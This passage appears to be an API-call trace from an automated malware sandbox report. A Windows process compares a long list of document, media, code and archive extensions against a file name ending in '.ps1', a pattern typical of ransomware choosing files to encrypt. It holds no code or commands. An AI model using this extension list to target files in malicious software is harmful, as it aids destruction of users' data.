returned -1 [0193.218] lstrlenW (lpString=".3gp") returned 4 [0193.218] lstrcmpiW (lpString1=".3gp", lpString2=".ps1") returned -1 [0193.218] lstrlenW (lpString=".7z") returned 3 [0193.218] lstrcmpiW (lpString1=".7z", lpString2="ps1") returned -1 [0193.218] lstrlenW (lpString=".accda") returned 6 [0193.218] lstrcmpiW (lpString1=".accda", lpString2="ts.ps1") returned -1 [0193.218] lstrlenW (lpString=".accdb") returned 6 [0193.218] lstrcmpiW (lpString1=".accdb", lpString2="ts.ps1") returned -1 [0193.218] lstrlenW (lpString=".accdc") returned 6 [0193.218] lstrcmpiW (lpString1=".accdc", lpString2="ts.ps1") returned -1 [0193.218] lstrlenW (lpString=".accde") returned 6 [0193.218] lstrcmpiW (lpString1=".accde", lpString2="ts.ps1") returned -1 [0193.218] lstrlenW (lpString=".accdt") returned 6 [0193.218] lstrcmpiW (lpString1=".accdt", lpString2="ts.ps1") returned -1 [0193.218] lstrlenW (lpString=".accdw") returned 6 [0193.219] lstrcmpiW (lpString1=".accdw", lpString2="ts.ps1") returned -1 [0193.219] lstrlenW (lpString=".adb") returned 4 [0193.219] lstrcmpiW (lpString1=".adb", lpString2=".ps1") returned -1 [0193.219] lstrlenW (lpString=".adp") returned 4 [0193.219] lstrcmpiW (lpString1=".adp", lpString2=".ps1") returned -1 [0193.219] lstrlenW (lpString=".ai") returned 3 [0193.219] lstrcmpiW (lpString1=".ai", lpString2="ps1") returned -1 [0193.219] lstrlenW (lpString=".ai3") returned 4 [0193.219] lstrcmpiW (lpString1=".ai3", lpString2=".ps1") returned -1 [0193.219] lstrlenW (lpString=".ai4") returned 4 [0193.219] lstrcmpiW (lpString1=".ai4", lpString2=".ps1") returned -1 [0193.219] lstrlenW (lpString=".ai5") returned 4 [0193.219] lstrcmpiW (lpString1=".ai5", lpString2=".ps1") returned -1 [0193.219] lstrlenW (lpString=".ai6") returned 4 [0193.219] lstrcmpiW (lpString1=".ai6", lpString2=".ps1") returned -1 [0193.219] lstrlenW (lpString=".ai7") returned 4 [0193.219] lstrcmpiW (lpString1=".ai7", lpString2=".ps1") returned -1 [0193.219] lstrlenW (lpString=".ai8") returned 4 [0193.219] lstrcmpiW (lpString1=".ai8", lpString2=".ps1") returned -1 [0193.219] lstrlenW (lpString=".anim") returned 5 [0193.219] lstrcmpiW (lpString1=".anim", lpString2="s.ps1") returned -1 [0193.219] lstrlenW (lpString=".arw") returned 4 [0193.219] lstrcmpiW (lpString1=".arw", lpString2=".ps1") returned -1 [0193.219] lstrlenW (lpString=".as") returned 3 [0193.219] lstrcmpiW (lpString1=".as", lpString2="ps1") returned -1 [0193.219] lstrlenW (lpString=".asa") returned 4 [0193.219] lstrcmpiW (lpString1=".asa", lpString2=".ps1") returned -1 [0193.220] lstrlenW (lpString=".asc") returned 4 [0193.220] lstrcmpiW (lpString1=".asc", lpString2=".ps1") returned -1 [0193.220] lstrlenW (lpString=".ascx") returned 5 [0193.220] lstrcmpiW (lpString1=".ascx", lpString2="s.ps1") returned -1 [0193.220] lstrlenW (lpString=".asm") returned 4 [0193.220] lstrcmpiW (lpString1=".asm", lpString2=".ps1") returned -1 [0193.220] lstrlenW (lpString=".asmx") returned 5 [0193.220] lstrcmpiW (lpString1=".asmx", lpString2="s.ps1") returned -1 [0193.220] lstrlenW (lpString=".asp") returned 4 [0193.220] lstrcmpiW (lpString1=".asp", lpString2=".ps1") returned -1 [0193.220] lstrlenW (lpString=".aspx") returned 5 [0193.220] lstrcmpiW (lpString1=".aspx", lpString2="s.ps1") returned -1 [0193.220] lstrlenW (lpString=".asr") returned 4 [0193.220] lstrcmpiW (lpString1=".asr", lpString2=".ps1") returned -1 [0193.220] lstrlenW (lpString=".asx") returned 4 [0193.220] lstrcmpiW (lpString1=".asx", lpString2=".ps1") returned -1 [0193.220] lstrlenW (lpString=".avi") returned 4 [0193.220] lstrcmpiW (lpString1=".avi", lpString2=".ps1") returned -1 [0193.220] lstrlenW (lpString=".avs") returned 4 [0193.220] lstrcmpiW (lpString1=".avs", lpString2=".ps1") returned -1 [0193.220] lstrlenW (lpString=".backup") returned 7 [0193.220] lstrcmpiW (lpString1=".backup", lpString2="sts.ps1") returned -1 [0193.220] lstrlenW (lpString=".bak") returned 4 [0193.220] lstrcmpiW (lpString1=".bak", lpString2=".ps1") returned -1 [0193.220] lstrlenW (lpString=".bay") returned 4 [0193.221] lstrcmpiW (lpString1=".bay", lpString2=".ps1") returned -1 [0193.221] lstrlenW (lpString=".bd") returned 3 [0193.221] lstrcmpiW (lpString1=".bd", lpString2="ps1") returned -1 [0193.221] lstrlenW (lpString=".bin") returned 4 [0193.221] lstrcmpiW (lpString1=".bin", lpString2=".ps1") returned -1 [0193.221] lstrlenW (lpString=".bmp") returned 4 [0193.221] lstrcmpiW (lpString1=".bmp", lpString2=".ps1") returned -1 [0193.221] lstrlenW (lpString=".bz2") returned 4 [0193.221] lstrcmpiW (lpString1=".bz2", lpString2=".ps1") returned -1 [0193.221] lstrlenW (lpString=".c") returned 2 [0193.221] lstrcmpiW (lpString1=".c", lpString2="s1") returned -1 [0193.221] lstrlenW (lpString=".cdr") returned 4 [0193.221] lstrcmpiW (lpString1=".cdr", lpString2=".ps1") returned -1 [0193.221] lstrlenW (lpString=".cer") returned 4 [0193.221] lstrcmpiW (lpString1=".cer", lpString2=".ps1") returned -1 [0193.221] lstrlenW (lpString=".cf") returned 3 [0193.221] lstrcmpiW (lpString1=".cf", lpString2="ps1") returned -1 [0193.221] lstrlenW (lpString=".cfc") returned 4 [0193.221] lstrcmpiW (lpString1=".cfc", lpString2=".ps1") returned -1 [0193.221] lstrlenW (lpString=".cfm") returned 4 [0193.221] lstrcmpiW (lpString1=".cfm", lpString2=".ps1") returned -1 [0193.222] lstrlenW (lpString=".cfml") returned 5 [0193.222] lstrcmpiW (lpString1=".cfml", lpString2="s.ps1") returned -1 [0193.222] lstrlenW (lpString=".cfu") returned 4 [0193.222] lstrcmpiW (lpString1=".cfu", lpString2=".ps1") returned -1 [0193.222] lstrlenW (lpString=".chm") returned 4 [0193.222] lstrcmpiW (lpString1=".chm", lpString2=".ps1") returned -1 [0193.222] lstrlenW (lpString=".cin") returned 4 [0193.222] lstrcmpiW (lpString1=".cin", lpString2=".ps1") returned -1 [0193.222] lstrlenW (lpString=".class") returned 6 [0193.222] lstrcmpiW (lpString1=".class", lpString2="ts.ps1") returned -1 [0193.222] lstrlenW (lpString=".clx") returned 4 [0193.222] lstrcmpiW (lpString1=".clx", lpString2=".ps1") returned -1 [0193.222] lstrlenW (lpString=".config") returned 7 [0193.222] lstrcmpiW (lpString1=".config", lpString2="sts.ps1") returned -1 [0193.222] lstrlenW (lpString=".cpp") returned 4 [0193.222] lstrcmpiW (lpString1=".cpp", lpString2=".ps1") returned -1 [0193.222] lstrlenW (lpString=".cr2") returned 4 [0193.222] lstrcmpiW (lpString1=".cr2", lpString2=".ps1") returned -1 [0193.222] lstrlenW (lpString=".crt") returned 4 [0193.222] lstrcmpiW (lpString1=".crt", lpString2=".ps1") returned -1 [0193.222] lstrlenW (lpString=".crw") returned 4 [0193.222] lstrcmpiW (lpString1=".crw", lpString2=".ps1") returned -1 [0193.222] lstrlenW (lpString=".cs") returned 3 [0193.222] lstrcmpiW (lpString1=".cs", lpString2="ps1") returned -1 [0193.223] lstrlenW (lpString=".css") returned 4 [0193.223] lstrcmpiW (lpString1=".css", lpString2=".ps1") returned -1 [0193.223] lstrlenW (lpString=".csv") returned 4 [0193.223] lstrcmpiW (lpString1=".csv", lpString2=".ps1") returned -1 [0193.223] lstrlenW (lpString=".cub") returned 4 [0193.223] lstrcmpiW (lpString1=".cub", lpString2=".ps1") returned -1 [0193.223] lstrlenW (lpString=".dae") returned 4 [0193.223] lstrcmpiW (lpString1=".dae", lpString2=".ps1") returned -1 [0193.223] lstrlenW (lpString=".dat") returned 4 [0193.223] lstrcmpiW (lpString1=".dat", lpString2=".ps1") returned -1 [0193.223] lstrlenW (lpString=".db") returned 3 [0193.223] lstrcmpiW (lpString1=".db", lpString2="ps1") returned -1 [0193.223] lstrlenW (lpString=".dbf") returned 4 [0193.223] lstrcmpiW (lpString1=".dbf", lpString2=".ps1") returned -1 [0193.223] lstrlenW (lpString=".dbx") returned 4 [0193.223] lstrcmpiW (lpString1=".dbx", lpString2=".ps1") returned -1 [0193.223] lstrlenW (lpString=".dc3") returned 4 [0193.223] lstrcmpiW (lpString1=".dc3", lpString2=".ps1") returned -1 [0193.223] lstrlenW (lpString=".dcm") returned 4 [0193.223] lstrcmpiW (lpString1=".dcm", lpString2=".ps1") returned -1 [0193.360] lstrlenW (lpString=".dcr") returned 4 [0193.360] lstrcmpiW (lpString1=".dcr", lpString2=".ps1") returned -1 [0193.360] lstrlenW (lpString=".der") returned 4 [0193.360] lstrcmpiW (lpString1=".der", lpString2=".ps1") returned -1 [0193.360] lstrlenW (lpString=".dib") returned 4 [0193.360] lstrcmpiW (lpString1=".dib", lpString2=".ps1") returned -1 [0193.360] lstrlenW (lpString=".dic") returned 4 [0193.360] lstrcmpiW (lpString1=".dic", lpString2=".ps1") returned -1 [0193.360] lstrlenW (lpString=".dif") returned 4 [0193.361] lstrcmpiW (lpString1=".dif", lpString2=".ps1") returned -1 [0193.361] lstrlenW (lpString=".divx") returned 5 [0193.361] lstrcmpiW (lpString1=".divx", lpString2="s.ps1") returned -1 [0193.361] lstrlenW (lpString=".djvu") returned 5 [0193.361] lstrcmpiW (lpString1=".djvu", lpString2="s.ps1") returned -1 [0193.361] lstrlenW (lpString=".dng") returned 4 [0193.361] lstrcmpiW (lpString1=".dng", lpString2=".ps1") returned -1 [0193.361] lstrlenW (lpString=".doc") returned 4 [0193.361] lstrcmpiW (lpString1=".doc", lpString2=".ps1") returned -1 [0193.361] lstrlenW (lpString=".docm") returned 5 [0193.361] lstrcmpiW (lpString1=".docm", lpString2="s.ps1") returned -1 [0193.361] lstrlenW (lpString=".docx") returned 5 [0193.361] lstrcmpiW (lpString1=".docx", lpString2="s.ps1") returned -1 [0193.361] lstrlenW (lpString=".dot") returned 4 [0193.361] lstrcmpiW (lpString1=".dot", lpString2=".ps1") returned -1 [0193.361] lstrlenW (lpString=".dotm") returned 5 [0193.361] lstrcmpiW (lpString1=".dotm", lpString2="s.ps1") returned -1 [0193.361] lstrlenW (lpString=".dotx") returned 5 [0193.361] lstrcmpiW (lpString1=".dotx", lpString2="s.ps1") returned -1 [0193.361] lstrlenW (lpString=".dpx") returned 4 [0193.361] lstrcmpiW (lpString1=".dpx", lpString2=".ps1") returned -1 [0193.362] lstrlenW (lpString=".dqy") returned 4 [0193.362] lstrcmpiW (lpString1=".dqy", lpString2=".ps1") returned -1 [0193.362] lstrlenW (lpString=".dsn") returned 4 [0193.362] lstrcmpiW (lpString1=".dsn", lpString2=".ps1") returned -1 [0193.362] lstrlenW (lpString=".dt") returned 3 [0193.362] lstrcmpiW (lpString1=".dt", lpString2="ps1") returned -1 [0193.362] lstrlenW (lpString=".dtd") returned 4 [0193.362] lstrcmpiW (lpString1=".dtd", lpString2=".ps1") returned -1 [0193.362] lstrlenW (lpString=".dwg") returned 4 [0193.362] lstrcmpiW (lpString1=".dwg", lpString2=".ps1") returned -1 [0193.362] lstrlenW (lpString=".dwt") returned 4 [0193.362] lstrcmpiW (lpString1=".dwt", lpString2=".ps1") returned -1 [0193.362] lstrlenW (lpString=".dx") returned 3 [0193.362] lstrcmpiW (lpString1=".dx", lpString2="ps1") returned -1 [0193.362] lstrlenW (lpString=".dxf") returned 4 [0193.362] lstrcmpiW (lpString1=".dxf", lpString2=".ps1") returned -1 [0193.362] lstrlenW (lpString=".edml") returned 5 [0193.363] lstrcmpiW (lpString1=".edml", lpString2="s.ps1") returned -1 [0193.363] lstrlenW (lpString=".efd") returned 4 [0193.363] lstrcmpiW (lpString1=".efd", lpString2=".ps1") returned -1 [0193.363] lstrlenW (lpString=".elf") returned 4 [0193.363] lstrcmpiW (lpString1=".elf", lpString2=".ps1") returned -1 [0193.363] lstrlenW (lpString=".emf") returned 4 [0193.363] lstrcmpiW (lpString1=".emf", lpString2=".ps1") returned -1 [0193.363] lstrlenW (lpString=".emz") returned 4 [0193.363] lstrcmpiW (lpString1=".emz", lpString2=".ps1") returned -1 [0193.363] lstrlenW (lpString=".epf") returned 4 [0193.363] lstrcmpiW (lpString1=".epf", lpString2=".ps1") returned -1 [0193.363] lstrlenW (lpString=".eps") returned 4 [0193.363] lstrcmpiW (lpString1=".eps", lpString2=".ps1") returned -1 [0193.363] lstrlenW (lpString=".epsf") returned 5 [0193.363] lstrcmpiW (lpString1=".epsf", lpString2="s.ps1") returned -1 [0193.363] lstrlenW (lpString=".epsp") returned 5 [0193.363] lstrcmpiW (lpString1=".epsp", lpString2="s.ps1") returned -1 [0193.363] lstrlenW (lpString=".erf") returned 4 [0193.363] lstrcmpiW (lpString1=".erf", lpString2=".ps1") returned -1 [0193.363] lstrlenW (lpString=".exr") returned 4 [0193.363] lstrcmpiW (lpString1=".exr", lpString2=".ps1") returned -1 [0193.364] lstrlenW (lpString=".f4v") returned 4 [0193.364] lstrcmpiW (lpString1=".f4v", lpString2=".ps1") returned -1 [0193.364] lstrlenW (lpString=".fido") returned 5 [0193.364] lstrcmpiW (lpString1=".fido", lpString2="s.ps1") returned -1 [0193.364] lstrlenW (lpString=".flm") returned 4 [0193.364] lstrcmpiW (lpString1=".flm", lpString2=".ps1") returned -1 [0193.364] lstrlenW (lpString=".flv") returned 4 [0193.364] lstrcmpiW (lpString1=".flv", lpString2=".ps1") returned -1 [0193.364] lstrlenW (lpString=".frm") returned 4 [0193.364] lstrcmpiW (lpString1=".frm", lpString2=".ps1") returned -1 [0193.364] lstrlenW (lpString=".fxg") returned 4 [0193.364] lstrcmpiW (lpString1=".fxg", lpString2=".ps1") returned -1 [0193.364] lstrlenW (lpString=".geo") returned 4 [0193.364] lstrcmpiW (lpString1=".geo", lpString2=".ps1") returned -1 [0193.364] lstrlenW (lpString=".gif") returned 4 [0193.364] lstrcmpiW (lpString1=".gif", lpString2=".ps1") returned -1 [0193.364] lstrlenW (lpString=".grs") returned 4 [0193.364] lstrcmpiW (lpString1=".grs", lpString2=".ps1") returned -1 [0193.365] lstrlenW (lpString=".gz") returned 3 [0193.365] lstrcmpiW (lpString1=".gz", lpString2="ps1") returned -1 [0193.365] lstrlenW (lpString=".h") returned 2 [0193.365] lstrcmpiW (lpString1=".h", lpString2="s1") returned -1 [0193.365] lstrlenW (lpString=".hdr") returned 4 [0193.365] lstrcmpiW (lpString1=".hdr", lpString2=".ps1") returned -1 [0193.365] lstrlenW (lpString=".hpp") returned 4 [0193.365] lstrcmpiW (lpString1=".hpp", lpString2=".ps1") returned -1 [0193.365] lstrlenW (lpString=".hta") returned 4 [0193.365] lstrcmpiW (lpString1=".hta", lpString2=".ps1") returned -1 [0193.365] lstrlenW (lpString=".htc") returned 4 [0193.365] lstrcmpiW (lpString1=".htc", lpString2=".ps1") returned -1 [0193.365] lstrlenW (lpString=".htm") returned 4 [0193.365] lstrcmpiW (lpString1=".htm", lpString2=".ps1") returned -1 [0193.365] lstrlenW (lpString=".html") returned 5 [0193.365] lstrcmpiW (lpString1=".html", lpString2="s.ps1") returned -1 [0193.365] lstrlenW (lpString=".icb") returned 4 [0193.365] lstrcmpiW (lpString1=".icb", lpString2=".ps1") returned -1 [0193.365] lstrlenW (lpString=".ics") returned 4 [0193.365] lstrcmpiW (lpString1=".ics", lpString2=".ps1") returned -1 [0193.366] lstrlenW (lpString=".iff") returned 4 [0193.366] lstrcmpiW (lpString1=".iff", lpString2=".ps1") returned -1 [0193.366] lstrlenW (lpString=".inc") returned 4 [0193.366] lstrcmpiW (lpString1=".inc", lpString2=".ps1") returned -1 [0193.366] lstrlenW (lpString=".indd") returned 5 [0193.366] lstrcmpiW (lpString1=".indd", lpString2="s.ps1") returned -1 [0193.366] lstrlenW (lpString=".ini") returned 4 [0193.366] lstrcmpiW (lpString1=".ini", lpString2=".ps1") returned -1 [0193.366] lstrlenW (lpString=".iqy") returned 4 [0193.366] lstrcmpiW (lpString1=".iqy", lpString2=".ps1") returned -1 [0193.366] lstrlenW (lpString=".j2c") returned 4 [0193.366] lstrcmpiW (lpString1=".j2c", lpString2=".ps1") returned -1 [0193.366] lstrlenW (lpString=".j2k") returned 4 [0193.366] lstrcmpiW (lpString1=".j2k", lpString2=".ps1") returned -1 [0193.366] lstrlenW (lpString=".java") returned 5 [0193.366] lstrcmpiW (lpString1=".java", lpString2="s.ps1") returned -1 [0193.366] lstrlenW (lpString=".jp2") returned 4 [0193.366] lstrcmpiW (lpString1=".jp2", lpString2=".ps1") returned -1 [0193.366] lstrlenW (lpString=".jpc") returned 4 [0193.366] lstrcmpiW (lpString1=".jpc", lpString2=".ps1") returned -1 [0193.366] lstrlenW (lpString=".jpe") returned 4 [0193.367] lstrcmpiW (lpString1=".jpe", lpString2=".ps1") returned -1 [0193.367] lstrlenW (lpString=".jpeg") returned 5 [0193.367] lstrcmpiW (lpString1=".jpeg", lpString2="s.ps1") returned -1 [0193.367] lstrlenW (lpString=".jpf") returned 4 [0193.367] lstrcmpiW (lpString1=".jpf", lpString2=".ps1") returned -1 [0193.367] lstrlenW (lpString=".jpg") returned 4 [0193.367] lstrcmpiW (lpString1=".jpg", lpString2=".ps1") returned -1 [0193.367] lstrlenW (lpString=".jpx") returned 4 [0193.367] lstrcmpiW (lpString1=".jpx", lpString2=".ps1") returned -1 [0193.367] lstrlenW (lpString=".js") returned 3 [0193.367] lstrcmpiW (lpString1=".js", lpString2="ps1") returned -1 [0193.367] lstrlenW (lpString=".jsf") returned 4 [0193.367] lstrcmpiW (lpString1=".jsf", lpString2=".ps1") returned -1 [0193.367] lstrlenW (lpString=".json") returned 5 [0193.367] lstrcmpiW (lpString1=".json", lpString2="s.ps1") returned -1 [0193.367] lstrlenW (lpString=".jsp") returned 4 [0193.367] lstrcmpiW (lpString1=".jsp", lpString2=".ps1") returned -1 [0193.367] lstrlenW (lpString=".kdc") returned 4 [0193.367] lstrcmpiW (lpString1=".kdc", lpString2=".ps1") returned -1 [0193.367] lstrlenW (lpString=".kmz") returned 4 [0193.368] lstrcmpiW (lpString1=".kmz", lpString2=".ps1") returned -1 [0193.368] lstrlenW (lpString=".kwm") returned 4 [0193.368] lstrcmpiW (lpString1=".kwm", lpString2=".ps1") returned -1 [0193.368] lstrlenW (lpString=".lasso") returned 6 [0193.368] lstrcmpiW (lpString1=".lasso", lpString2="ts.ps1") returned -1 [0193.368] lstrlenW (lpString=".lbi") returned 4 [0193.368] lstrcmpiW (lpString1=".lbi", lpString2=".ps1") returned -1 [0193.368] lstrlenW (lpString=".lgf") returned 4 [0193.368] lstrcmpiW (lpString1=".lgf", lpString2=".ps1") returned -1 [0193.368] lstrlenW (lpString=".lgp") returned 4 [0193.368] lstrcmpiW (lpString1=".lgp", lpString2=".ps1") returned -1 [0193.368] lstrlenW (lpString=".log") returned 4 [0193.368] lstrcmpiW (lpString1=".log", lpString2=".ps1") returned -1 [0193.368] lstrlenW (lpString=".m1v") returned 4 [0193.368] lstrcmpiW (lpString1=".m1v", lpString2=".ps1") returned -1 [0193.368] lstrlenW (lpString=".m4a") returned 4 [0193.368] lstrcmpiW (lpString1=".m4a", lpString2=".ps1") returned -1 [0193.368] lstrlenW (lpString=".m4v") returned 4 [0193.368] lstrcmpiW (lpString1=".m4v", lpString2=".ps1") returned -1 [0193.368] lstrlenW (lpString=".max") returned 4 [0193.368] lstrcmpiW (lpString1=".max", lpString2=".ps1") returned -1 [0193.368] lstrlenW (lpString=".md") returned 3 [0193.369] lstrcmpiW (lpString1=".md", lpString2="ps1") returned -1 [0193.369] lstrlenW (lpString=".mda") returned 4 [0193.369] lstrcmpiW (lpString1=".mda", lpString2=".ps1") returned -1 [0193.369] lstrlenW (lpString=".mdb") returned 4 [0193.369] lstrcmpiW (lpString1=".mdb", lpString2=".ps1") returned -1 [0193.369] lstrlenW (lpString=".mde") returned 4 [0193.369] lstrcmpiW (lpString1=".mde", lpString2=".ps1") returned -1 [0193.369] lstrlenW (lpString=".mdf") returned 4 [0193.369] lstrcmpiW (lpString1=".mdf", lpString2=".ps1") returned -1 [0193.369] lstrlenW (lpString=".mdw") returned 4 [0193.369] lstrcmpiW (lpString1=".mdw", lpString2=".ps1") returned -1 [0193.369] lstrlenW (lpString=".mef") returned 4 [0193.369] lstrcmpiW (lpString1=".mef", lpString2=".ps1") returned -1 [0193.369] lstrlenW (lpString=".mft") returned 4 [0193.369] lstrcmpiW (lpString1=".mft", lpString2=".ps1") returned -1 [0193.369] lstrlenW (lpString=".mfw") returned 4 [0193.369] lstrcmpiW (lpString1=".mfw", lpString2=".ps1") returned -1 [0193.369] lstrlenW (lpString=".mht") returned 4 [0193.369] lstrcmpiW (lpString1=".mht", lpString2=".ps1") returned -1 [0193.369] lstrlenW (lpString=".mhtml") returned 6 [0193.369] lstrcmpiW (lpString1=".mhtml", lpString2="ts.ps1") returned -1 [0193.370] lstrlenW (lpString=".mka") returned 4 [0193.370] lstrcmpiW (lpString1=".mka", lpString2=".ps1") returned -1 [0193.370] lstrlenW (lpString=".mkidx") returned 6 [0193.370] lstrcmpiW (lpString1=".mkidx", lpString2="ts.ps1") returned -1 [0193.370] lstrlenW (lpString=".mkv") returned 4 [0193.370] lstrcmpiW (lpString1=".mkv", lpString2=".ps1") returned -1 [0193.370] lstrlenW (lpString=".mos") returned 4 [0193.370] lstrcmpiW (lpString1=".mos", lpString2=".ps1") returned -1 [0193.370] lstrlenW (lpString=".mov") returned 4 [0193.370] lstrcmpiW (lpString1=".mov", lpString2=".ps1") returned -1 [0193.370] lstrlenW (lpString=".mp3") returned 4 [0193.370] lstrcmpiW (lpString1=".mp3", lpString2=".ps1") returned -1 [0193.370] lstrlenW (lpString=".mp4") returned 4 [0193.370] lstrcmpiW (lpString1=".mp4", lpString2=".ps1") returned -1 [0193.370] lstrlenW (lpString=".mpeg") returned 5 [0193.370] lstrcmpiW (lpString1=".mpeg", lpString2="s.ps1") returned -1 [0193.370] lstrlenW (lpString=".mpg") returned 4 [0193.370] lstrcmpiW (lpString1=".mpg", lpString2=".ps1") returned -1 [0193.370] lstrlenW (lpString=".mpv") returned 4 [0193.370] lstrcmpiW (lpString1=".mpv", lpString2=".ps1") returned -1 [0193.371] lstrlenW (lpString=".mrw") returned 4 [0193.371] lstrcmpiW (lpString1=".mrw", lpString2=".ps1") returned -1 [0193.371] lstrlenW (lpString=".msg") returned 4 [0193.371] lstrcmpiW (lpString1=".msg", lpString2=".ps1") returned -1 [0193.371] lstrlenW (lpString=".mxl") returned 4 [0193.371] lstrcmpiW (lpString1=".mxl", lpString2=".ps1") returned -1 [0193.371] lstrlenW (lpString=".myd") returned 4 [0193.371] lstrcmpiW (lpString1=".myd", lpString2=".ps1") returned -1 [0193.371] lstrlenW (lpString=".myi") returned 4 [0193.371] lstrcmpiW (lpString1=".myi", lpString2=".ps1") returned -1 [0193.371] lstrlenW (lpString=".nef") returned 4 [0193.371] lstrcmpiW (lpString1=".nef", lpString2=".ps1") returned -1 [0193.371] lstrlenW (lpString=".nrw") returned 4 [0193.371] lstrcmpiW (lpString1=".nrw", lpString2=".ps1") returned -1 [0193.371] lstrlenW (lpString=".obj") returned 4 [0193.371] lstrcmpiW (lpString1=".obj", lpString2=".ps1") returned -1 [0193.371] lstrlenW (lpString=".odb") returned 4 [0193.371] lstrcmpiW (lpString1=".odb", lpString2=".ps1") returned -1 [0193.371] lstrlenW (lpString=".odc") returned 4 [0193.371] lstrcmpiW (lpString1=".odc", lpString2=".ps1") returned -1 [0193.372] lstrlenW (lpString=".odm") returned 4 [0193.372] lstrcmpiW (lpString1=".odm", lpString2=".ps1") returned -1 [0193.372] lstrlenW (lpString=".odp") returned 4 [0193.372] lstrcmpiW (lpString1=".odp", lpString2=".ps1") returned -1 [0193.372] lstrlenW (lpString=".ods") returned 4 [0193.372] lstrcmpiW (lpString1=".ods", lpString2=".ps1") returned -1 [0193.372] lstrlenW (lpString=".oft") returned 4 [0193.372] lstrcmpiW (lpString1=".oft", lpString2=".ps1") returned -1 [0193.372] lstrlenW (lpString=".one") returned 4 [0193.372] lstrcmpiW (lpString1=".one", lpString2=".ps1") returned -1 [0193.372] lstrlenW (lpString=".onepkg") returned 7 [0193.373] lstrcmpiW (lpString1=".onepkg", lpString2="sts.ps1") returned -1 [0193.373] lstrlenW (lpString=".onetoc2") returned 8 [0193.373] lstrcmpiW (lpString1=".onetoc2", lpString2="ests.ps1") returned -1 [0193.373] lstrlenW (lpString=".opt") returned 4 [0193.373] lstrcmpiW (lpString1=".opt", lpString2=".ps1") returned -1 [0193.373] lstrlenW (lpString=".oqy") returned 4 [0193.373] lstrcmpiW (lpString1=".oqy", lpString2=".ps1") returned -1 [0193.373] lstrlenW (lpString=".orf") returned 4 [0193.373] lstrcmpiW (lpString1=".orf", lpString2=".ps1") returned -1 [0193.373] lstrlenW (lpString=".p12") returned 4 [0193.373] lstrcmpiW (lpString1=".p12", lpString2=".ps1") returned -1 [0193.373] lstrlenW (lpString=".p7b") returned 4 [0193.373] lstrcmpiW (lpString1=".p7b", lpString2=".ps1") returned -1 [0193.373] lstrlenW (lpString=".p7c") returned 4 [0193.373] lstrcmpiW (lpString1=".p7c", lpString2=".ps1") returned -1 [0193.373] lstrlenW (lpString=".pam") returned 4 [0193.373] lstrcmpiW (lpString1=".pam", lpString2=".ps1") returned -1 [0193.373] lstrlenW (lpString=".pbm") returned 4 [0193.373] lstrcmpiW (lpString1=".pbm", lpString2=".ps1") returned -1 [0193.373] lstrlenW (lpString=".pct") returned 4 [0193.374] lstrcmpiW (lpString1=".pct", lpString2=".ps1") returned -1 [0193.374] lstrlenW (lpString=".pcx") returned 4 [0193.374] lstrcmpiW (lpString1=".pcx", lpString2=".ps1") returned -1 [0193.374] lstrlenW (lpString=".pdd") returned 4 [0193.374] lstrcmpiW (lpString1=".pdd", lpString2=".ps1") returned -1 [0193.374] lstrlenW (lpString=".pdf") returned 4 [0193.374] lstrcmpiW (lpString1=".pdf", lpString2=".ps1") returned -1 [0193.374] lstrlenW (lpString=".pdp") returned 4 [0193.374] lstrcmpiW (lpString1=".pdp", lpString2=".ps1") returned -1 [0193.374] lstrlenW (lpString=".pef") returned 4 [0193.374] lstrcmpiW (lpString1=".pef", lpString2=".ps1") returned -1 [0193.374] lstrlenW (lpString=".pem") returned 4 [0193.374] lstrcmpiW (lpString1=".pem", lpString2=".ps1") returned -1 [0193.374] lstrlenW (lpString=".pff") returned 4 [0193.374] lstrcmpiW (lpString1=".pff", lpString2=".ps1") returned -1 [0193.374] lstrlenW (lpString=".pfm") returned 4 [0193.375] lstrcmpiW (lpString1=".pfm", lpString2=".ps1") returned -1 [0193.375] lstrlenW (lpString=".pfx") returned 4 [0193.375] lstrcmpiW (lpString1=".pfx", lpString2=".ps1") returned -1 [0193.375] lstrlenW (lpString=".pgm") returned 4 [0193.375] lstrcmpiW (lpString1=".pgm", lpString2=".ps1") returned -1 [0193.375] lstrlenW (lpString=".php") returned 4 [0193.375] lstrcmpiW (lpString1=".php", lpString2=".ps1") returned -1 [0193.375] lstrlenW (lpString=".php3") returned 5 [0193.375] lstrcmpiW (lpString1=".php3", lpString2="s.ps1") returned -1 [0193.375] lstrlenW (lpString=".php4") returned 5 [0193.375] lstrcmpiW (lpString1=".php4", lpString2="s.ps1") returned -1 [0193.375] lstrlenW (lpString=".php5") returned 5 [0193.375] lstrcmpiW (lpString1=".php5", lpString2="s.ps1") returned -1 [0193.375] lstrlenW (lpString=".phtml") returned 6 [0193.375] lstrcmpiW (lpString1=".phtml", lpString2="ts.ps1") returned -1 [0193.376] lstrlenW (lpString=".pict") returned 5 [0193.376] lstrcmpiW (lpString1=".pict", lpString2="s.ps1") returned -1 [0193.376] lstrlenW (lpString=".pl") returned 3 [0193.376] lstrcmpiW (lpString1=".pl", lpString2="ps1") returned -1 [0193.376] lstrlenW (lpString=".pls") returned 4 [0193.376] lstrcmpiW (lpString1=".pls", lpString2=".ps1") returned -1 [0193.376] lstrlenW (lpString=".pm") returned 3 [0193.376] lstrcmpiW (lpString1=".pm", lpString2="ps1") returned -1 [0193.376] lstrlenW (lpString=".png") returned 4 [0193.377] lstrcmpiW (lpString1=".png", lpString2=".ps1") returned -1 [0193.377] lstrlenW (lpString=".pnm") returned 4 [0193.377] lstrcmpiW (lpString1=".pnm", lpString2=".ps1") returned -1 [0193.377] lstrlenW (lpString=".pot") returned 4 [0193.377] lstrcmpiW (lpString1=".pot", lpString2=".ps1") returned -1 [0193.377] lstrlenW (lpString=".potm") returned 5 [0193.377] lstrcmpiW (lpString1=".potm", lpString2="s.ps1") returned -1 [0193.377] lstrlenW (lpString=".potx") returned 5 [0193.377] lstrcmpiW (lpString1=".potx", lpString2="s.ps1") returned -1 [0193.377] lstrlenW (lpString=".ppa") returned 4 [0193.377] lstrcmpiW (lpString1=".ppa", lpString2=".ps1") returned -1 [0193.377] lstrlenW (lpString=".ppam") returned 5 [0193.377] lstrcmpiW (lpString1=".ppam", lpString2="s.ps1") returned -1 [0193.377] lstrlenW (lpString=".ppm") returned 4 [0193.377] lstrcmpiW (lpString1=".ppm", lpString2=".ps1") returned -1 [0193.377] lstrlenW (lpString=".pps") returned 4 [0193.377] lstrcmpiW (lpString1=".pps", lpString2=".ps1") returned -1 [0193.377] lstrlenW (lpString=".ppsm") returned 5 [0193.377] lstrcmpiW (lpString1=".ppsm", lpString2="s.ps1") returned -1 [0193.377] lstrlenW (lpString=".ppt") returned 4 [0193.378] lstrcmpiW (lpString1=".ppt", lpString2=".ps1") returned -1 [0193.378] lstrlenW 